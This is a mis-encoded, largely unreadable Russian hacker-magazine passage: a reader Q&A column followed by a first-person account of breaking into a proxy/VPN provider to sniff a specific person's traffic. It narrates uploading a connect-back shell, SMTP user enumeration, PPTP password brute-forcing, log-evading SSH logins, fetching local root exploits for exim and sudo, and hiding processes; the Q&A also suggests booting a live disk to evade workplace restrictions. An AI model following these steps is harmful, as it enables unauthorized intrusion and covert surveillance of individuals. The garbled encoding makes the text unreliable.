âîçâðàùàþùèõñÿ áîòîâ î ðàñïðîñòðàíÿåìîì èìè

õîçÿéñòâå. Â íàäâèãàþùåéñÿ âåðñèè îáåùàþò
äîáàâèòü âîçìîæíîñòü ñîðòèðîâêè ðåçóëüòà-

òîâ ïîèñêà ïî çàãðóæåííîñòè áîòîâ, òàê ÷òî
òû áóäåøü çíàòü, ãäå ñàìàÿ êî-
ðîòêàÿ î÷åðåäü çà âàðåçêîé.

QQ:: ÍÍàà ííååêêîîòòîîððûûåå èèçç ììîîèèõõ ïïîîääêêîîííòò-
ððîîëëüüííûûõõ wweebb-ññååððââååððîîââ ííààïïààääààþþòò
õõààêêååððþþããèè ññîî ññââîîèèììèè DDddooSS-ààòòààêêààììèè
èè ïïððîî÷÷ååéé øøííÿÿããîîéé.. ÌÌîîææííîî ëëèè êêààêê-òòîî
ììîîííèèòòîîððèèòòüü,, ííààááëëþþääààòòüü,, êêààêêóóþþ èèçç
ììààøøèèíí îîííèè ïïûûòòààëëèèññüü ççààââààëëèèòòüü??
A: Ñ òâîèìè ñåðâàíòàìè ìîæåò
ñëó÷èòüñÿ ÷òî óãîäíî � ëèøèòü
ìàøèíû æèçíè ìîãóò íå òîëüêî
ãíóñíûå õàêåðû. Â ëþáîì ñëó÷àå
íóæíî âñåãäà âîâðåìÿ çàìå÷àòü

íåïîëàäêè â òâîåé ñåòè. Çäåñü ìîæíî ïðîñòî ïèíãî-
âàòü âñå àäðåñà, ïåðåáèðàÿ îäèí çà äðóãèì â íàäåæ-
äå íå çàìåòèòü èçìåíÿþùåãîñÿ îòêëèêà. Îäíàêî â
ïîäîáíîì äîïîòîïíîì ñïîñîáå åñòü è ñëàáàÿ ñòîðî-
íà, âåäü çäåñü íå áóäåò ïîíÿòíî, êîãäà îòêëèê ìåíÿ-
åòñÿ ñ ïîâûøåíèåì íàãðóçêè, à êîãäà ýòî ïàêåòíûé
øòîðì. Áîëåå ÷óòêèì ñðåäñòâîì êàæóòñÿ âñå âîç-
ìîæíûå ïðîãðàììíûå ñèñòåìû ìîíèòîðèíãà.
WebWatchBot (www.exclamationsoft.com/ webwatch-
bot) ìîæåò ñòàòü íåïëîõèì òîìó ïðèìåðîì. Çäåñü
ìîæíî çàäàâàòü ïðîìåæóòêè, êîãäà âñå õîçÿéñòâî
áóäåò ïðîâåðÿòüñÿ. Ðåçóëüòàòû îïðîñîâ ìîãóò îòñû-
ëàòüñÿ íà ìûëî èëè äðóãèå ñðåäñòâà ñâÿçè, ÷òîáû
îïîâåñòèòü òåáÿ î íàäâèãàþùèõñÿ ñëîæíîñòÿõ è íà-
äîáíîñòè ïðåäïðèíÿòü ðàäèêàëüíûå ìåðû.

QQ:: ÌÌååííÿÿ ääîîêêààííààëë AAVVPP.. ÓÓ ììååííÿÿ èèììååååòòññÿÿ ààææ 336600GG ääààíí-
ííûûõõ ââ ññèèññòòååììåå,, ââññåå ïïððîîââååððèèòòüü ððààççîîìì �� ããååììîîðð,, ÿÿ îîññ-
òòààââëëÿÿþþ ààííòòèèââèèððóóññííûûåå ððååééääûû ííàà ííîî÷÷üü.. ÎÎääííààêêîî ýýòòàà
ççààððààççàà ííààõõîîääèèòò ààððõõèèââ ññ ïïààððîîëëååìì èè ççààââèèññààååòò,, îîææèè-
ääààÿÿ îîòòââååòòàà.. ÌÌîîææííîî êêààêê-òòîî îîááóó÷÷èèòòüü îîááððààççèèííóó??
A: Ê ñîæàëåíèþ, â íàñòðîéêàõ Êàñïåðñêîãî ÿ òàê
è íå íàøåë âîçìîæíîñòè îòêëþ÷èòü ïðîâåðêó çà-
ïàðîëåííûõ àðõèâîâ. Ñàìûì ïðîñòûì ðåøåíèåì
ïîêàçàëîñü � äîæäàòüñÿ ïåðâîãî äèàëîãà ïî òå-
ìå àðõèâîâ è äàòü AV â ãëàç àðãóìåíòîì � «Äå-
ëàòü òî æå ñàìîå è äàëåå». Òåïåðü ïðîãà áóäåò
ïðîïóñêàòü âñå ñåêðåòíûå òåìû àðõèâîâ.

QQ:: ÐÐààááîîòòààþþ ââ ññååòòêêåå,, ããääåå ççààïïððååùùååííîî ââññåå èè ââññÿÿ,, ääàà-
ææåå ññííååññòòèè èèõõ ññèèññòòååììóó ííåå ïïîîëëóó÷÷ààååòòññÿÿ.. ÌÌîîææííîî ëëèè
ììííåå êêààêê-òòîî ââññåå ææåå ççààããððóóççèèòòüü òòóóääàà ññââîîþþ îîïïååððààööèè-
îîííêêóó ïïîî-ÿÿããîîääèè÷÷ííîîììóó õõèèòòððîî?? ::))
A: Ãëàâíîå, ÷òîáû ïîñëå çàãðóçà íå ïîñòðàäàëè òâîè
ñîáñòâåííûå ÿãîäèöû :). Äëÿ âåðíîñòè íàïðàâëþ òå-
áÿ ê äèñêëàéìåðó íàâåðõó, êîòîðûé ïðîñèò ôîðìó-
ëèðîâàòü ïðîáëåìó ìàêñèìàëüíî òî÷íî. Èíà÷å ìíå
ïðèäåòñÿ ñôîðìóëèðîâàòü åå çà òåáÿ è ñêàçàòü, ÷òî
íåñìîòðÿ íà îãðàíè÷åíèÿ ñèñòåìû, çàãðóçêà ñ CD
îñòàåòñÿ âîçìîæíîé. Ñëåäóÿ ïîäîáíîìó ïðåäïîëî-
æåíèþ, ÿ ïðåäëîæó óñòàíîâèòü ôðèâàðíóþ ñèñòåìó

Bart's PE Builder (www.nu2.nu/pebuilder). Ñ åå ïî-
ìîùüþ òû ìîæåøü ñîçäàòü ïîëíîöåííûé çàãðóçî÷-
íûé äèñê, ãäå áóäåò ðàáîòàòü âèíäà áåç ïðèâû÷íîé
óñòàíîâêè íà âèíò. Ïîíÿòíî, ÷òî áóäóò èìåòü ìåñòî
íåêîòîðûå îãðàíè÷åíèÿ âðîäå ðàáîòû ñ ðàçðåøåíè-
åì 800Õ600 è íåáîãàòûìè íàñòðîéêàìè ñåòè. Îäíà-
êî äîñòóï ê íåé áóäåò ïîëíîöåííûì, òàê ÷òî òû, âå-
ðîÿòíî, ñìîæåøü ïðîäåëàòü òî, ÷òî áûëî çàïðåùå-
íî àäìèíàìè ïðåæäå. Íà áóäóùåå: íå ñòåñíÿéñÿ �
ïèøè î ñåáå è ñâîèõ ïðîáëåìàõ âî âñåõ äåòàëÿõ.

QQ:: ßß ÷÷ààññòòîî ççààííèèììààþþññüü ççààõõââààòòîîìì êêîîììïïîîââ ÷÷ååððååçç
ððààññêêððûûòòûûåå øøààððûû.. ÌÌîîææííîî ëëèè ááóóääååòò ýýòòóó òòååììóó ïïððîî-
ääîîëëææààòòüü êêððóóòòèèòòüü èèçç-ïïîîää ÌÌààêêàà??
A: Ìåíÿ ÷àñòî ñïðàøèâàþò î âîçìîæíîñòè ñêàíèðîâà-
íèÿ øàðîâ èç-ïîä unix. Ñ ïîäîáíûìè ðåøåíèÿìè ïî
òåìå Ìàêà ÿ åùå íå ñòàëêèâàëñÿ, íî óæå çíàþ íàâåð-
íÿêà, ÷òî òû ñìîæåøü öåïëÿòü ñþäà ëþáûå âèíäîç-
íûå øàðû. Çäåñü ïîìîæåò ïðîñòîå ñðåäñòâî äëÿ
ïðîñìîòðà ëîêàëüíûõ è ñåòåâûõ FAT/NTFS-äèñêîâ �
MacDrive (www.mediafour.com). Êîãäà æå òðåáóåòñÿ
ïðîôåññèîíàëüíûé ïîäõîä àäìèíèñòðàòèâíîãî óðîâ-
íÿ, íà ïîìîùü ïðèäåò îòäåëüíûé SMB Manager
(www.labo-apple.com). Ýòà ñâÿçêà ïîìîæåò ðàçðåøèòü
âîïðîñ äî ïîÿâëåíèÿ ïîëíîöåííîãî ñêàííåðà øàðîâ.

QQ:: ÂÂ ÷÷ååìì ççààêêëëþþ÷÷ààååòòññÿÿ ffrroozzeenn ììîîää,, êêîîòòîîððûûéé ììîîææååòò
ááûûòòüü ïïððèèïïèèññààíí êê ììîîååììóó IIRRCC êêààííààëëóó??
A: Ïîäîáíûé íàãîâîð èçâåñòåí â ðÿäå ñåðâèñíûõ
ñåòåé, ãäå îïöèÿ áëîêèðóåò àäìèíèñòðàòèâíûé (èëè
ïîëíûé � äëÿ âñåõ ïîñåòèòåëåé) äîñòóï ê êàíàëó íà
îïðåäåëåííûé ñðîê (30, 60 è áîëåå äíåé â çàâèñè-
ìîñòè îò ñåòè è åå ïîëèñè). Ïîëó÷àåòñÿ, ÷òî îôèöè-
àëüíî êàíàë âñå åùå ïðèíàäëåæèò åãî çàêîííûì
õîçÿåâàì, êîòîðûå îñòàþòñÿ ïðè çàêîííûõ ñòàòóñàõ
îïåðàòîðîâ. Îãðàíè÷åííûìè îêàçûâàþòñÿ ëèøü èõ
äåéñòâèÿ ïî íàñòðîéêå êàíàëà, êîòîðûé ôàêòè÷åñ-
êè îêàçûâàåòñÿ ïåðåâåäåí «âî âðåìåííîå ïîëüçî-
âàíèå» àäìèíèñòðàöèè ñåòè. Îáûêíîâåííî ïîäîá-
íûé ìîä ñòàâèòñÿ, êîãäà îáúÿâèëàñü ïðîáëåìà ñ êà-
íàëîì, ïðèøåë óáåäèòåëüíûé abuse, àäìèíàì òðå-
áóåòñÿ äîïîëíèòåëüíîå âðåìÿ íà âûÿñíåíèå âîïðî-
ñà è îáñòîÿòåëüñòâ. Êîãäà äåéñòâèå êîëäîâñòâà
frozen çàêîí÷èòñÿ, ìîæíî áóäåò âåðíóòüñÿ ê ïîëíî-
öåííîé ðàáîòå ñ êàíàëîì èëè æå îí áóäåò çàáëîêè-
ðîâàí íà ñîâñåì. Ìîä âûäàåòñÿ íå ðîáîòàìè, íî
æèâûìè èðêîïàìè (ñåðâåð-îïàìè � ÷àùå), ó êî-
òîðûõ ñëåäóåò íàñòîÿòåëüíî âûÿñíèòü äëèòåëü-
íîñòü äåéñòâèÿ frozen'a. Òàê ñ ãîðåìû÷íûì êàíà-
ëîì #xakep @DALnet ñëó÷èëîñü, ÷òî îí îêàçàëñÿ
íå çàðåãèñòðèðîâàí ïîñëå ïðåêðàùåíèÿ äåéñòâèÿ
òåìû (30 äíåé). Áóäü ãîòîâ çàïóñòèòü íåñêîëüêî
äåñÿòêîâ áîòîâ íà ðåãèñòðàöèþ ýòîãî êàíàëà (áëè-
æå ê îêîí÷àíèþ äåéñòâèÿ ìîäà), ÷òîáû äðóãîé õèò-
ðåö íå îïåðåäèë, íå çàðåãàë âìåñòî òåáÿ òåìó.

QQ:: ÏÏððààââääàà,, ÷÷òòîî òòååïïååððüü ââèèððóóññûû ááóóääóóòò ííààççûûââààòòüüññÿÿ îîääèè-
ííààêêîîââîî ââ ÁÁÄÄ ððààççííûûõõ ïïððîîèèççââîîääèèòòååëëååéé ààííòòèèââèèððóóññîîââ??
A: Ìåíÿ çîâóò Èâàí, â Àìåðèêå íàçûâàëè áû Äæî-
íîì, âî Ôðàíöèè, äîëæíî áûòü, Æàíîì. Êàê íè íà-
çûâàé � ñóòü íå ìåíÿåòñÿ :). Îäíàêî â ñëó÷àå ñ âè-
ðóñàìè âñå íå òàê, äîõîäèò äî àáñóðäà, êîãäà â íî-
âîñòÿõ ÷èòàåøü î ïîÿâëåíèè äåñÿòêà íîâûõ ñìåð-
òîíîñíûõ âèðåé çà äåíü. Òâîå ñåðäöå ïîðàçÿò íå
ðàçáóøåâàâøèåñÿ âèðìåéêåðû, íî íåðàçóìíûå
ïðîãðàììåðû, êîòîðûì íåäîñòàåò åäèíîãî âèäå-
íèÿ èìåí çàðàçû. Îäíîìó è òîìó æå, äîëãî íå çà-
äóìûâàÿñü, îíè äàäóò äîáðûé äåñÿòîê èìåí. Òå-
ïåðü èõ ðàçãèëüäÿéñòâó ñîáèðàþòñÿ ïîëîæèòü
áîëüøîé è òîëñòûé êîíåö, êëàäêîé êîòîðîãî áóäåò
çàíèìàòüñÿ Common Malware Enumeration (CME),
îñíîâàííîå âåëèêèìè óñèëèÿìè United States
Computer Emergency Readiness Team (US-CERT).
Ýòà êîíòîðà áóäåò ïðèñâàèâàòü èìåíà íàèáîëåå
îïàñíîé çàðàçå, êîòîðûå áóäóò ðàññûëàòüñÿ ïî
äåðæàòåëÿì ÁÄ. Çäåñü âèäèòñÿ ðàçóìíûé ðàñ÷åò
óìåíüøèòü ïóòàíèöó âî âñåì íåïðîñòîì äåëå.



ÈÍÎÃÄÀ ÁÛÂÀÅÒ ÍÅÎÁÕÎÄÈÌÎ ÏÎÑËÅÄÈÒÜ ÇÀ ×ÅËÎÂÅÊÎÌ. ÓÇÍÀÒÜ, ÊÀÊÈÅ ÑÀÉÒÛ ÎÍ ÏÎÑÅÙÀÅÒ, Ñ
ÊÅÌ ÂÅÄÅÒ ÏÅÐÅÏÈÑÊÓ, ÍÀ ÊÀÊÈÕ ÔÎÐÓÌÀÕ ÎÁÙÀÅÒÑß, Î ×ÅÌ ÒÐÅÏÅÒÑß Â ICQ È ÊÀÊÎÉ ÅÃÎ ÏÀ-
ÐÎËÜ Ê ÒÀÈÍÑÒÂÅÍÍÎÌÓ WEB-ÐÅÑÓÐÑÓ. ÄËß ÝÒÎÃÎ ÑÎÂÑÅÌ ÍÅÎÁßÇÀÒÅËÜÍÎ ÏÐÎÑËÓØÈÂÀÒÜ ÒÅ-
ËÅÔÎÍ ÈËÈ ÑÒÀÂÈÒÜ ÂÈÄÅÎÊÀÌÅÐÛ Â ÊÂÀÐÒÈÐÅ. ÄÎÑÒÀÒÎ×ÍÎ ËÈØÜ ÎÒÑÍÈÔÀÒÜ ÅÃÎ ÒÐÀÔÈÊ.
ÎÁÛ×ÍÎ ÏÎÄÎÁÐÀÒÜÑß Ê ÌÀÐØÐÓÒÈÇÀÒÎÐÓ ÆÅÐÒÂÛ ÍÅÂÎÇÌÎÆÍÎ. ÎÄÍÀÊÎ ÄÎÂÎËÜÍÎ ×ÀÑÒÎ
ÎÁÚÅÊÒÛ ÑËÅÆÊÈ ÄËß ÀÍÎÍÈÌÍÎÑÒÈ ÏÎËÜÇÓÞÒÑß ÐÀÇËÈ×ÍÛÌÈ ÑÅÒÅÂÛÌÈ ÑÅÐÂÈÑÀÌÈ, ÊÎÒÎ-
ÐÛÅ ÅÄÂÀ ËÈ ÄÎÁÀÂËßÞÒ ÁÅÇÎÏÀÑÍÎÑÒÈ | Master-lame-master

[ïå÷àëüíàÿ ïðåàìáóëà] Êàê-òî äàâíî ÿ èñêàë õîðîøèé ïðîêñè-
ñåðâèñ. Òåðÿÿñü â äîãàäêàõ, ÿ ñåðôèë ìíîãî èíòåðåñíûõ ñàéòîâ, ÷èòàë
ôîðóìû è îòçûâû êëèåíòîâ. È âîò ìîé áðàóçåð çàíåñëî íà ñàéò
proxy4you.net. Íà ýòîì èíòåðåñíîì ïðîåêòå ïðåäëàãàëîñü êóïèòü
ïðîêñèêè ïî äîâîëüíî íèçêîé öåíå. È ÿ, áûòü ìîæåò, äàæå è êóïèë,
åñëè áû íå óâèäåë ññûëêó íà ôîðóì phpBB 2.0.6. Ó÷èòûâàÿ òî, ÷òî ñè-
òóàöèÿ ïðîèñõîäèëà ãäå-òî ñ ïîëãîäà íàçàä, ÿ ñîâñåì íå óäèâèëñÿ :).
Áåðåæíî âûïîëíÿÿ îäíó êîìàíäó çà äðóãîé, ÿ ïî îáêàòàííîìó ñöåíà-
ðèþ çàëèë íà ñåðâåð connback-øåëë è âîøåë â ñèñòåìó. Âîò òîëüêî
ïðîäåðæàòüñÿ ìíå òàì íå óäàëîñü. Â ýòîò äåíü ÿ òîëêîì íè÷åãî íå ïî-
ñìîòðåë, à íà ñëåäóþùèé îáíàðóæèë ïðîïàæó íå òîëüêî øåëëà, íî è
âñåãî ôîðóìà :). Âèäèìî, àäìèí êàêèì-òî îáðàçîì îáíàðóæèë âçëîì
è ñíåñ áîðäó. Ïðî ýòîò «ìèíèâçëîì» ÿ íèêîãäà áû íå íàïèñàë â æóð-
íàë, åñëè áû íå ïðîäîëæåíèå èñòîðèè, ñëó÷èâøåéñÿ íåäàâíî.

Âçëîì proxy-ñåðâèñà äëÿ ïðîñëóøêè
íåïðèÿòåëüñêîãî òðàôèêà

[îõîòà íà óòîê] Â îäèí ÷óäíûé âå÷åð ÿ ñèäåë äîìà è íå çíàë, ÷åì áû
ñåáÿ çàíÿòü. Ìîé õîðîøèé çíàêîìûé, ñ êîòîðûì ìû äàâíî ïåðåòèðàåì
«çàêàçíûå» ñïåöçàäàíèÿ, ïîäåëèëñÿ ñî ìíîé îäíîé èíòåðåñíîé èíôîð-
ìàöèåé. Îí î÷åíü äàâíî îõîòèëñÿ çà ÷åëîâåêîì, êîòîðûé ïðîìûøëÿë
íå ñîâñåì ÷åñòíûìè äåëàìè. Íå ìîãó óòâåðæäàòü, íî, ïî-ìîåìó, çëîá-
íûé ÷óâàê ïðîñòî êèíóë ìîåãî ïðèÿòåëÿ, ÷òî è ïîáóäèëî ïîñëåäíåãî
ïðåñëåäîâàòü ñåòåâîãî íåãîäÿÿ, æåëàÿ âåðíóòü ñâîè äåíüãè. Íà îäíîì
èç ôîðóìîâ, ãäå ìîé
êîðåø ñêîðåôàíèëñÿ
ñ ìåñòíîé àäìèíèñòðà-
öèåé, åìó óäàëîñü çà-
ïàëèòü IP-àäðåñ íåãî-
äÿÿ. Ñóäÿ ïî âñåìó, àé-
ïèøíèê ïðèíàäëåæàë
êàêîìó-òî õîñòèíãó �
íà ýòî óêàçûâàë âûâîä
whois'à, êîòîðûé ìíå

Ïàëåíûå ïïðîêñè
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õàðàêòåðíûì èåðîãëèôàì, êîòîðûå âûäàâàëèñü ïîñëå ñîåäèíåíèÿ.
Îäíàêî âñå ýòè èññëåäîâàíèÿ íå ñäâèíóëè äåëî ñ ìåðòâîé òî÷êè.
Íåîáõîäèìî áûëî õîòü êàêèì-òî îáðàçîì ïðîíèêíóòü íà ìàøèíó. Ñêàíè-
ðîâàíèå ñêðèïòîâ íà traversal, sql-injection è ïðî÷èå áàãè íå ïðèâåëè ê
áîëüøîìó óñïåõó, ïîýòîìó ÿ ñòàë ïðîñòî òóïî õîäèòü ïî ññûëêàì è... íà-
øåë êîå-÷òî èíòåðåñíîå. Íåò, ÿ íå îáíàðóæèë íåâèäèìûé phpmyadmin
èëè web-øåëë, êàê òû ìîã ïðåäïîëîæèòü. ß íàòêíóëñÿ íà ñòðàíèöó, ãäå
â êàðòèíêàõ îïèñûâàëàñü íàñòðîéêà VPN-ñîåäèíåíèÿ. È îäèí èç ñêðèí-
øîòîâ ìåíÿ î÷åíü íàñòîðîæèë. Íà íåì îòîáðàæàëñÿ ïîñëåäíèé øàã íà-
ñòðîéêè VPN, âîò òîëüêî ëîãèí áûë íå î÷åíü ñòàíäàðòíûé. Âìåñòî êà-
êèõ-òî òðèâèàëüíûõ èìåí òèïà demo, test è ò.ï. èñïîëüçîâàëñÿ ëîãèí
michael. Â êà÷åñòâå ïàðîëÿ îòîáðàæàëèñü ïÿòü çâåçäî÷åê. Ìîæåò áûòü,
ýòî áûëî ñëó÷àéíî ïðèäóìàííîå èìÿ, îäíàêî äàëüíåéøèé øàã äîêàçàë,
÷òî ýòî áûëî íåñïðîñòà. ß ðåøèë ïîïðîáîâàòü îòïðàâèòü òåñòîâîå ïèñü-
ìî ïîëüçîâàòåëþ michael ÷åðåç èõ SMTP-ñåðâåð. Äóìàþ, ïîíÿòíî, íà ÷òî
ÿ ðàññ÷èòûâàë � åñëè ñèñòåìíîãî èìåíè íå ñóùåñòâóåò, ìíå âåðíåòñÿ
îòâåò äåìîíà î íåêîððåêòíîì èìåíè ïîëüçîâàòåëÿ. Íî òàêîãî îòâåòà íå
âåðíóëîñü, ñëåäîâàòåëüíî, ëîãèí Ìàéêëà ñóùåñòâóåò è, ïî-âèäèìîìó,
àêòèâíî èñïîëüçóåòñÿ.

[àêòèâíàÿ àòàêà] Äàëüíåéøàÿ ëîãèêà ìîèõ äåéñòâèé áûëà ñëåäóþ-
ùåé: ìíå íè÷åãî íå îñòàâàëîñü, êàê çàïóñòèòü ïðîöåññ ïåðåáîðà ïàðîëÿ
íà ñåðâèñ PPTP VPN ñ áûñòðîãî øåëëà. Äëÿ ýôôåêòèâíîãî áðóòôîðñà ÿ
îòôèëüòðîâàë âñå ïÿòèçíà÷íûå ïàðîëè èç áîëüøîãî ñëîâàðÿ. Äåéñòâè-
òåëüíî, åñëè èìÿ ñîâïàëî, òî, ñêîðåå âñåãî, ñîâïàäåò è äëèíà ïàðîëÿ. Ïî
êðàéíåé ìåðå, ÿ íà ýòî èñêðåííå íàäåÿëñÿ.
È ÿ íå ïðîãàäàë (ÿ âîîáùå ðåäêî êîãäà ïîëüçóþñü áðóòôîðñåðàìè,
åñëè íå óâåðåí â ïîáåäå). PPTP-Bruter, ïðî îñîáåííîñòè êîòîðîãî ÿ óæå
ïèñàë â ìîèõ ñòàòüÿõ, ñïðàâèëñÿ ñ çàäà÷åé «íà óðà». Ñïóñòÿ ïîë÷àñà
áðóòåð îòâåòèë, ÷òî óñïåøíî ïîäîáðàë ïàðîëü ê ó÷åòíîé çàïèñè. Ñðàçó
ïîñëå ýòîãî áûëî ïðèíÿòî ðåøåíèå ïîïðîáîâàòü ïîëó÷åííóþ êîìáèíà-
öèþ l/p äëÿ âõîäà ïî SSH. È îïÿòü óñïåõ � michael èìåë äîñòóï ê ìàøè-
íå ïî ssh. Äëÿ ïóùåé ìàñêèðîâêè ÿ çàëîãèíèëñÿ ñ êëþ÷èêîì -T, ÷òîáû
íå ïîäâÿçûâàòü ê ñåáå ïñåâäîòåðìèíàë è íå ïàëèòüñÿ â æóðíàëàõ
/var/log/wtmp è /var/run/utmp. Â ñèñòåìå íà òîò ìîìåíò íèêîãî íå áûëî,
ïîýòîìó ìîæíî áûëî áåç ïàëåâà èçó÷àòü óäàëåííûé ñåðâàê. Ïåðâûì
äåëîì ÿ ïîñìîòðåë ïðîöåññû � ñòàíäàðòíûé íàáîð: pptpd, openvpn,
squid, sendmail, exim è åùå íåñêîëüêî ñåðâèñîâ. Íè÷åãî íåîáû÷íîãî �
ïðîñòàÿ Linux-ñòàíöèÿ. Íàñòîðîæèëî ëèøü îäíî: òî, ÷òî àäìèíû ïîâå-
ñèëè Web-ñàéò íà ðàáî÷èé proxy- è vpn-ñåðâåð. Îáû÷íî ïîä ýòî äåëî
âûäåëÿåòñÿ îòäåëüíàÿ òà÷êà, õîòÿ áû ðàäè áåçîïàñíîñòè. Ê íåñ÷àñòüþ,
ìíå íå õâàòèëî ïðàâ íå òîëüêî íà ïðîñìîòð ó÷åòíûõ çàïèñåé proxy è
vpn, íî è íà ÷òåíèå êàòàëîãà /usr/service, ñîäåðæàùèé âñþ èíòåðåñíóþ
èíôîðìàöèþ. Ïîýòîìó ìíå íóæíî áûëî ïðèëîæèòü âñå óñèëèÿ è ïîâû-
ñèòü ñâîè ïðàâà äî íóëåâîãî óðîâíÿ.

[îïåðàöèÿ «Çàõâàò-110»] Íå íàéäÿ íè÷åãî ïîäõîäÿùåãî â ïàïêàõ,
êîòîðûå áûëè ìíå äîñòóïíû è ïåðå÷èòàâ âñå ëîãè è èñòîðèè ââîäèìûõ
êîìàíä, ÿ íå äîáèëñÿ íèêàêèõ óñïåõîâ. ßäðî â ñèñòåìå áûëî 2.4.27 âåð-
ñèè, è ÿ òàêæå ïîïðîáîâàë åãî âçëîìàòü. Ñòàíäàðòíûå ýêñïëîéòû âûäà-
âàëè êàêóþ-òî åðóíäó, à ñàìûé ïîñëåäíèé ÿ íå ðåøèëñÿ èñïûòûâàòü,
òàê êàê çàâàëèë èì ìíîæåñòâî ñèñòåì (íà 99% àòàêà ïðîñòî áû ïàðàëè-
çîâàëà ñåðâåð). Ïîëíîñòüþ îò÷àÿâøèñü, ÿ ñêà÷àë ñòàðûé äîáðûé ñöå-
íàðèé check.sh (http://kamensk.net.ru/forb/1/x/check.sh) è çàïóñòèë åãî íà
ñåðâåðå. Äëÿ íåçíàþùèõ íàïîìíþ, ÷òî ýòîò ÷åêåð ïðîâåðÿåò âñå

suid/sgid/nogroup-ôàéëû íà ñåð-
âåðå, à òàêæå âûäàåò ïîëíóþ
èíôîðìàöèþ îá îïåðàöèîííîé
ñèñòåìå. Ïîñëå äåòàëüíîãî îò-
÷åòà ÿ âûóäèë íåñêîëüêî suid-
ôàéëèêîâ è ïðèíÿëñÿ èõ èçó-
÷àòü. Ñ âèäó ýòî áûë ñòàíäàðò-
íûé íàáîð ïðèëîæåíèé: ping,
traceroute, su, sudo, exim è åùå
íåñêîëüêî áèíàðíèêîâ. Ïåðâûì
äåëîì ÿ ñêà÷àë ýêñïëîéò äëÿ su-
do è ïîïûòàëñÿ åãî çàïóñòèòü,
îäíàêî íè ê ÷åìó õîðîøåìó ýòî
íå ïðèâåëî: òî ëè âåðñèÿ áûëà
íîâîé, òî ëè ýêñïëîéò áûë êðè-
âîâàò. Òóò ÿ âñïîìíèë, ÷òî è äëÿ
exim èìååòñÿ ñïëîèò (www.xa-
kep.ru/post/27010/exploit.txt), êî-
òîðûé ðàáîòàåò òîëüêî ëîêàëü-
íî è ïåðåïîëíÿåò áóôåð ó ïî÷-
òîâîãî ñåðâèñà. Ñêîìïèëèðîâàâ
è çàïóñòèâ åãî, ÿ óáåäèëñÿ, ÷òî

ñêèíóë ìîé íàïàðíèê. Îïèñàíèå
õîñòèíãà âûãëÿäåëî ïðèìåðíî,
êàê uaonline-hqhost-cluster. Ýòà
íàäïèñü ïîêàçàëàñü ìíå äî áîëè
çíàêîìîé è ÷åðåç íåêîòîðîå âðå-
ìÿ ÿ âñïîìíèë ïî÷åìó. Êàê îêà-
çàëîñü, ÿ ñàì ïðîáèâàë ïî õóèçó
àäðåñ proxy4you.net, è òîò îêà-
çàëñÿ â òîé æå ïîäñåòè, ÷òî è ïî-
ñëåäíèé àäðåñ. Âñå ýòî êîñâåííî
óêàçûâàëî íà òî, ÷òî æåðòâà
ïîëüçóåòñÿ óñëóãàìè proxy-ñåð-
âèñà. ß ïîäåëèëñÿ ðàçìûøëåíèÿìè ñ äðóãîì è ïîòîì ïîæàëåë îá
ýòîì. Ñðàçó æå ïîñûïàëèñü ïðîñüáû ïîïðîáîâàòü âíåäðèòüñÿ â ýòîò
ðåñóðñ è ïîñíèôàòü òðàôèê ñ ýòîãî àéïèøíèêà. ß ñîãëàñèëñÿ.
Àòàêà íà÷àëàñü ñî ñòàíäàðòíûõ âåùåé. Ïåðâî-íàïåðâî ÿ çàíÿëñÿ ñêàíè-
ðîâàíèåì. Ñêàíèòü ðåøèë âñþ ïîäñåòü ñ ïîìîùüþ ñòàðîãî äîáðîãî LAN-
Guard Scanner. Íè ê ÷åìó õîðîøåìó ýòî íå ïðèâåëî, ïîòîìó êàê õîñò
proxy4you.net âîîáùå îêàçàëñÿ íåäîñòóïíûì äëÿ ýòîé ïðîãðàììû, à
îñòàëüíûå óçëû, ïî-âèäèìîìó, âûñòóïàëè â ðîëè äîïîëíèòåëüíûõ IP, íà
êîòîðûõ âîîáùå íå ñâåòèëèñü íèêàêèå ïîðòû. Íî ÿ-òî çíàë, ÷òî ËÀÍ-
Ãóàðä îïðåäåëÿåò æèâó÷åñòü õîñòà ïðè ïîìîùè ICMP-çàïðîñà. Ëîãè÷-
íûì çàêëþ÷åíèåì ìîæíî áûëî íàçâàòü òîò ôàêò, ÷òî óñòàíîâëåííûé íà
ìàøèíå ôàéðâîë ïðîñòî ðåçàë âåñü ICMP-òðàôèê.
Çàïóñòèâ nmap ñ îïöèåé -P0, ÿ ïîëó÷èë ñïèñîê îòêðûòûõ ïîðòîâ: 22,
25, 80, 1723, 5000 è 6709. Âîñïîëüçîâàâøèñü òåëíåòîì, ÿ óçíàë, ÷òî
çà öèôðîé 6709 ñêðûâàåòñÿ îáû÷íûé ïðîêñèê òèïà Squid. Îñòàâàëîñü
îïðåäåëèòü, ÷òî çà ñåðâèñ íàõîäèòñÿ ïîä 5000 ïîðòîì. Âñå ñòàëî
ïîíÿòíî ñðàçó  ïîñëå òîãî, êàê ÿ çàøåë íà ñàéò ýòîé êîíòîðû:
îêàçàëîñü, ÷òî ðåáÿòà ïðåäîñòàâëÿëè íå òîëüêî proxy, íî è vpn-ñåð-
âèñ. Òàê ÷òî ïîä ýòèì ïîðòîì ñêðûâàëñÿ OpenVPN � ýòî ÿ âûÿñíèë ïî

Îïöèÿ, àíàëîãè÷íàÿ ïàðà-
ìåòðó -T â êîíñîëüíîì ssh,
èìååòñÿ è â PuTTY. Çàéäè
âî âêëàäêó SSH è îòìåòü
ãàëî÷êîé Don't allocate a
preudo-terminal.

×ÒÎ ÏÏÎÌÎÃËÎ ÌÌÍÅ ÏÏÐÈ
ÂÇËÎÌÅ?
1 Ïåðâîíà÷àëüíîå ñêàíè-
ðîâàíèå õîñòà íà ïîðòû äà-
ëî ìíå îáùåå ïðåäñòàâëå-
íèå î ôóíêöèîíèðóþùèõ
äåìîíàõ.
2 Ïðåæäå ÷åì èñïîëüçî-
âàòü ýêñïëîéòû, ÿ îòûñêàë
âñå suid-ôàéëû íà ñåðâåðå.
Ýòî ïîìîãëî íàéòè óÿçâè-
ìûé áèíàðíèê è äîñòè÷ü
ðóòîâûõ ïðàâ.
3 Èíòåðåñíàÿ ìàñêèðîâêà
ïðè ïîìîùè nohup íå ðàç
ñïàñàëà ìîè ïðîöåññû îò
ãëàç àäìèíèñòðàòîðîâ. Òàê
÷òî âîçüìè ýòîò òðþê íà
çàìåòêó :).
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Íà êîìïàêòå òû íàéäåøü
ïîðòàòèâíûé ñíèôåð, à òàê-
æå ñâåæóþ âåðñèþ PPTP-
Bruter îò êîìàíäû THC.
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iDEFENCE ïèøóò ðåàëüíûå âåùè
� ýêñïëîéò ñðàáîòàë êàê ÷àñû è
ïðåäîñòàâèë ðóòîâûé øåëë. Ìû-
ñëåííî ïåðåäàâ ïðèâåò àäìèíó,
